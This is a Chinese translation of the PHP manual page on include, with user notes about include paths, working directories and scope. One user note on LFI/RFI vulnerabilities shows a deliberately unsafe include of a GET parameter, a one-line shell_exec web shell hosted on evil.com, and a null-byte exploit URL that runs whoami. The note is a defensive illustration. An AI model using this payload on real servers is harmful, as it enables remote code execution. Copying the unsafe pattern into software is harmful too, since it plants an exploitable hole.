这可能有用
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
这样你就可以在 web 项目的树中移动脚本,而无需更改。
(PHP 4、PHP 5、PHP 7、PHP 8)
include
表达式包含并计算指定的代码。
下面的文档也适用于 require。
文件包含基于提供的文件路径,或者如果未提供,则基于指定的 include_path。如果在 include_path 中找不到该文件,include
最终将在调用脚本的目录和当前工作目录中进行检查,然后才会失败。如果 include
无法找到文件,则会发出 E_WARNING
;这与 require 的行为不同,require 会发出 E_ERROR
。
请注意,如果文件不可访问,include
和 require
都会在发出最终的 E_WARNING
或 E_ERROR
之前,发出额外的 E_WARNING
。
如果定义了路径,无论是绝对路径(以驱动器号或 Windows 上的 \
或 Unix/Linux 系统上的 /
开头)还是相对于当前目录的路径(以 .
或 ..
开头),则 include_path 将完全被忽略。例如,如果文件名以 ../
开头,则解析器将在父目录中查找请求的文件。
有关 PHP 如何处理文件包含和包含路径的更多信息,请参阅 include_path 的文档。
当包含一个文件时,它所包含的代码会继承 include
语句所在行的 变量作用域。在调用文件中该行可用的任何变量都将在调用文件中从该点起可用。但是,包含文件中定义的所有函数和类都具有全局作用域。
示例 #1 基本 include
示例
vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>
如果 include
发生在调用文件中的函数内部,则包含文件中包含的所有代码的行为就好像它是在该函数内部定义的一样。因此,它将遵循该函数的变量作用域。该规则的一个例外是 魔术常量,它们在 include
发生之前由解析器进行求值。
示例 #2 在函数中包含
<?php
function foo()
{
global $color;
include 'vars.php';
echo "A $color $fruit";
}
/* vars.php 在 foo() 的作用域内,所以 *
* $fruit 在该作用域之外不可用。$color 可用,因为我们将其 *
* 声明为全局变量。 */
foo(); // A green apple
echo "A $color $fruit"; // A green
?>
当包含一个文件时,解析会从目标文件的开头退出 PHP 模式并进入 HTML 模式,并在结尾处恢复。因此,目标文件中应作为 PHP 代码执行的任何代码都必须用 有效的 PHP 开始和结束标记 包含。
如果在 PHP 中启用了 "URL 包含包装器",您可以使用 URL(通过 HTTP 或其他支持的包装器 - 有关协议列表,请参阅 支持的协议和包装器)而不是本地路径名来指定要包含的文件。如果目标服务器将目标文件解释为 PHP 代码,则可以使用与 HTTP GET 一起使用的 URL 请求字符串将变量传递到包含的文件。严格来说,这与包含文件并让它继承父文件的变量作用域并不完全相同;实际上,脚本是在远程服务器上运行的,结果随后被包含到本地脚本中。
示例 #3 通过 HTTP 进行 include
<?php
/* 此示例假设 www.example.com 配置为解析 .php
* 文件,而不是 .txt 文件。另外,'Works' 意味着变量
* $foo 和 $bar 在包含文件中可用。 */
// 无法正常工作;www.example.com 未将 file.txt 作为 PHP 处理
include 'http://www.example.com/file.txt?foo=1&bar=2';
// 无法正常工作;在本地文件系统上查找名为 'file.php?foo=1&bar=2' 的文件。
include 'file.php?foo=1&bar=2';
// 正常工作。
include 'http://www.example.com/file.php?foo=1&bar=2';
?>
远程文件可能在远程服务器上进行处理(取决于文件扩展名以及远程服务器是否运行 PHP),但它仍然必须生成有效的 PHP 脚本,因为它将在本地服务器上进行处理。如果来自远程服务器的文件应该在远程服务器上进行处理并仅输出,则 readfile() 是更好的函数。否则,应格外注意确保远程脚本的安全,以生成有效且所需的代码。
有关更多信息,请参阅 远程文件、fopen() 和 file()。
处理返回值:include
在失败时返回 FALSE
并发出警告。除非被包含文件覆盖,否则成功的包含将返回 1
。可以在包含文件中执行 return 语句,以终止该文件的处理并返回到调用它的脚本。此外,还可以从包含文件中返回值。您可以像对待普通函数一样获取包含调用的值。但是,当包含远程文件时,这将不可行,除非远程文件的输出具有 有效的 PHP 开始和结束标记(与任何本地文件一样)。您可以在这些标记内声明所需的变量,这些变量将在包含文件的位置引入。
因为 include
是一个特殊的语言结构,所以它的参数不需要括号。在比较返回值时要小心。
示例 #4 比较包含的返回值
<?php
// 无法正常工作,被评估为 include(('vars.php') == TRUE),即 include('1')
if (include('vars.php') == TRUE) {
echo 'OK';
}
// 可以正常工作
if ((include 'vars.php') == TRUE) {
echo 'OK';
}
?>
示例 #5 include
和 return 语句
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // 输出 'PHP'
$bar = include 'noreturn.php';
echo $bar; // 输出 1
?>
$bar
的值为 1
,因为 include 操作成功了。请注意上述示例之间的区别。第一个示例在包含的文件中使用了 return 语句,而另一个则没有。如果无法包含该文件,则会返回 **false
** 并发出 **E_WARNING
** 错误。
如果包含的文件中定义了函数,则可以在主文件中使用这些函数,无论这些函数是在 return 语句之前还是之后定义的。如果包含了该文件两次,PHP 会引发致命错误,因为这些函数已经声明过了。建议使用 include_once,而不是检查文件是否已经被包含并在包含的文件中进行条件返回。
将 PHP 文件“包含”到变量中的另一种方法是使用 输出控制函数 和 include
来捕获输出。例如
示例 #6 使用输出缓冲区将 PHP 文件包含到字符串中
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
return ob_get_clean();
}
return false;
}
?>
为了在脚本中自动包含文件,请参阅 php.ini 中的 auto_prepend_file 和 auto_append_file 配置选项。
另请参阅 require、require_once、include_once、get_included_files()、readfile()、virtual() 和 include_path。
这可能有用
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
这样你就可以在 web 项目的树中移动脚本,而无需更改。
如果您想使用 include 文件,但不想让它们直接从客户端访问,请出于对键盘的爱,不要这样做
<?php
# index.php
define('what', 'ever');
include 'includeFile.php';
# includeFile.php
// 检查 what 是否已定义,如果没有则终止
?>
您不应该这样做,因为还有更好的选择。将 includeFile(s) 移出项目文档根目录。因此,如果项目的文档根目录位于 "/usr/share/nginx/html" 中,请将 include 文件保留在 "/usr/share/nginx/src" 中。
<?php
# index.php (在文档根目录 (/usr/share/nginx/html) 中)
include __DIR__ . '/../src/includeFile.php';
?>
由于用户无法键入 'your.site/../src/includeFile.php',因此用户将无法直接访问您的 includeFile(s)。
在使用 php 的 include、require、include_once 或 require_once 语句之前,您应该了解有关本地文件包含 (也称为 LFI) 和远程文件包含 (也称为 RFI) 的更多信息。
如示例 #3 所示,可以从远程服务器包含 php 文件。
LFI 和 RFI 漏洞出现在您在 include 语句中使用输入变量而没有进行适当的输入验证时。假设您有一个 example.php,代码如下
<?php
// 错误代码
$path = $_GET['path'];
include $path . 'example-config-file.php';
?>
作为程序员,您可能会期望用户浏览到您指定的路径。
但是,它会打开一个 RFI 漏洞。为了作为攻击者利用它,我首先在我的 evil.com 域名上设置一个带有 php 代码的恶意文本文件。
evil.txt
<?php echo shell_exec($_GET['command']);?>
这是一个文本文件,因此它不会在我的服务器上处理,而是在目标/受害者服务器上处理。我会浏览到
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00
example.php 会下载我的 evil.txt 并处理我作为 command 变量传递的操作系统命令。在本例中,它是 whoami。我在 path 变量的末尾添加了一个 %00,它是一个空字符。example.php 中的原始 include 语句会忽略该行的其余部分。它应该告诉我 web 服务器以什么身份运行。
如果您在 include 语句中使用变量,请使用适当的输入验证。
我无法足够强调知道活动工作目录。通过以下方法找到它:echo getcwd();
请记住,如果文件 A 包含文件 B,而 B 包含文件 C;B 中的 include 路径应该考虑 A 而不是 B 是活动工作目录。
当直接使用文件名包含文件而没有指定我们正在谈论当前工作目录时,例如说 (include "file") 而不是 ( include "./file")。PHP 会首先在当前工作目录 (由 getcwd() 给出) 中搜索,然后在正在执行的脚本的目录 (由 __dir__ 给出) 中搜索。
这是一个演示情况的示例
我们有两个目录结构
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test 包含以下文本
这是 dir1 中的测试
dir2/test 包含以下文本
这是 dir2 中的测试
dir1_test 包含以下文本
这是 dir1_test
dir2_test 包含以下文本
这是 dir2_test
script.php 包含以下代码
<?php
echo '当前调用脚本的目录: ' . __DIR__;
echo '<br />';
echo '当前工作目录: ' . getcwd();
echo '<br />';
echo '包含 "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo '将当前工作目录更改为 dir2';
chdir('../dir2');
echo '<br />';
echo '当前调用脚本的目录: ' . __DIR__;
echo '<br />';
echo '当前工作目录: ' . getcwd();
echo '<br />';
echo '包含 "test" ...';
echo '<br />';
include 'test';
echo '<br />';
echo '包含 "dir2_test" ...';
echo '<br />';
include 'dir2_test';
echo '<br />';
echo '包含 "dir1_test" ...';
echo '<br />';
include 'dir1_test';
echo '<br />';
echo '包含 "./dir1_test" ...';
echo '<br />';
(@include './dir1_test') or die('无法包含此文件 ');
?>
执行 script.php 的输出结果是
当前调用脚本的目录: C:\dev\www\php_experiments\working_directory\example2\dir1
当前工作目录: C:\dev\www\php_experiments\working_directory\example2\dir1
包含 "test" ...
这是 dir1 中的测试
将当前工作目录更改为 dir2
当前调用脚本的目录: C:\dev\www\php_experiments\working_directory\example2\dir1
当前工作目录: C:\dev\www\php_experiments\working_directory\example2\dir2
包含 "test" ...
这是 dir2 中的测试
包含 "dir2_test" ...
这是 dir2_test
包含 "dir1_test" ...
这是 dir1_test
包含 "./dir1_test" ...
无法包含此文件
理想情况下,包含的文件应该放在 Web 根目录之外。但这在实际应用中并不总是可行,尤其是在分发打包应用程序时,因为您并不知道应用程序运行的服务器环境。在这些情况下,我会在第一行使用以下代码。
( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
如果您进行大量的动态/计算包含(例如超过 100 个),那么您可能需要了解这种性能比较:如果目标文件不存在,那么 @include() 的速度是使用 file_exists() 检查作为前缀的 *十倍* *慢*。(这在文件只偶尔存在的情况下很重要,例如开发环境有该文件,但生产环境没有。)
Wade.
我想指出在 IIS/Windows 和 Apache/Unix(不确定其他服务器,但我认为 Windows 下的任何服务器都会像 IIS/Windows 一样,而 Unix 下的任何服务器都会像 Apache/Unix 一样)中,包含文件路径的行为有所不同。
考虑以下情况
<?php
include '/Path/To/File.php';
?>
在 IIS/Windows 中,文件是在虚拟主机根目录(假设为 C:\Server\Sites\MySite)中查找的,因为路径以正斜杠开头。这种行为在所有平台的 HTML 中都适用,因为浏览器将 / 解释为服务器的根目录。
然而,Unix 的文件/文件夹结构略有不同。/ 代表硬盘驱动器的根目录或当前硬盘分区。换句话说,它基本上是在查找 root:/Path/To/File.php 而不是 serverRoot:/Path/To/File.php(假设为 /usr/var/www/htdocs)。因此,会抛出错误/警告,因为路径在根路径中不存在。
我只是想提一下。这将为在 Windows 下工作并将应用程序传输到基于 Unix 的服务器的用户节省一些麻烦。
一种解决方法是
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* 我通常将此文件存储在我的虚拟主机根目录下的 Includes 文件夹中。您可以将其更改为任何您存储此文件的位置。
*
* 例如:
* 如果您将此文件存储在您网站根目录下的 Application/Settings/DocRoot 文件夹中,您需要将此数组更改为包含每个文件夹。
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
使用此文件,您可以使用定义的 SERVER_DOC_ROOT 常量来包含文件,并且包含的每个文件都将从正确的位置包含,不会抛出任何错误/警告。
示例
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
值得注意的是,PHP 提供了一个名为 DIRECTORY_SEPARATOR 的操作系统上下文感知常量。如果您在目录路径中使用它来代替斜杠,那么无论您使用的是 *NIX 还是(令人毛骨悚然的)Windows,您的脚本都是正确的。(以一种半相关的方式,有一个聪明的行尾字符,PHP_EOL)
示例
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once($cfg_path);
关于懒惰的 HTTP 包含,需要注意的是,它们可能会破坏您的服务器。
如果您要包含来自您自己网站的文件,请不要使用 URL,无论它多么容易或诱人。如果您的所有 PHP 进程都与发出请求的页面绑定在一起,则没有进程可用于服务包含。原始请求将停留在那里,占用所有资源,并最终超时。
尽可能使用文件引用。这给我们造成了相当大的麻烦(Zend/IIS),直到我找到了问题所在。
它也能够从 zip 文件中包含或打开文件
<?php
include "something.zip#script.php";
echo file_get_contents("something.zip#script.php");
?>
请注意,从 zip 文件中打开文件使用 # 来分隔 zip 文件名和内部文件名,而不是使用 / 或 \。
作为经验法则,切勿使用相对路径包含文件。要有效地做到这一点,您可以定义常量,如下所示
----
<?php // prepend.php - 在您的目录树顶端自动预置
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
等等。这样,您框架中的文件只需发出类似以下的语句
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
这也让您不必每次包含文件时都检查包含路径。
如果您从主 Web 目录下方运行脚本,请在每个子目录中放置一个 prepend.php 文件
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
这样,顶部的 prepend.php 始终会被执行,您将不会遇到路径处理方面的麻烦。请记住,在每个包含可访问 Web 脚本的子目录的 .htaccess 文件中设置 auto_prepend_file 指令。